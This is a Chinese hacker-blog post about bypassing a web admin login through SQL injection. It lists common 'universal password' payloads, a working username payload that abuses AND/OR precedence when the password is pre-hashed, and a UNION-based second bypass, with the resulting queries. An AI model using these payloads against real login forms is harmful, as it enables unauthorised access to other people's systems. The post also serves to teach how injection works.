访问 后台 尝试 在用户名 和密码 处输入 ' or 1=1 /* 爆出了 sql 语句。
很明显 存在 注入 并且 magic_quotes_gpc=off
尝试了几个 平时用的 mysql 万能密码
' or '1'=1
'or '1'='1 --
' or 1=1 #
.....
很奇怪 居然连 注释 语句都 爆出了了 。说明 不支持注释 或注释语句失效。
当时 认为 无法 突破 因为 密码 部分 直接 在执行sql前 转 md5 了 并且无法注释掉
始终感觉 这样的后台肯定能构造 万能密码的 就拿到群里讨论
某牛 很快找到 构造 了一个万能 密码 进了后台
用户名部分:admin 'or '1'='1 密码部分任意(之前说过 sql 之前就md5 了 构造也徒劳)
也就构成了下面的 sql 语句:
$sql = "SELECT * FROM cool_admin WHERE admin_name='admin' or '1'='1' AND admin_pwd='xxoo'";
我一直想不明白 为什么这样 能成立
一直纠结在 成立 或者 成立 和 不成立 =成立 ?(我逻辑思维很差)
按照这样的思维 始终想 不通 。
可惜这是 程序 语言 不是人 不能按照自己的思维习惯来 思考
考虑很久 也考虑不出 什么 原因, 某牛指出
www.2cto.com
"构造语句 要考虑优先级 " 我顿时 茅塞顿开 ....
程序 有执行 优先级的。 马上查看了相关资料:
where 后面如果有and,or的条件,则or自动会把左右的查询条件分开,即先执行and,再执行or。原因就是:and的执行优先级最高!
关系型运算符优先级高到低为:not and or
随后建了个表 测试了下 如图:
看了图就很容易理解了。
===================================================================
另一个新型后台万能密码 分析:
输入admin' or 'a'='a
爆出下面语句
SELECT * FROM users WHERE password = '52rfHUulM5JFo' AND login_id ='admin' OR 'a'='a' AND 'a'='a'
构造
'union select * FROM users WHERE login_id ='admin
顺利绕过
语句
SELECT * FROM users WHERE password = '52rfHUulM5JFo' AND login_id =''union select * FROM users WHERE login_id ='admin
利用二次查询顺利绕过
作者 XSnake's Blog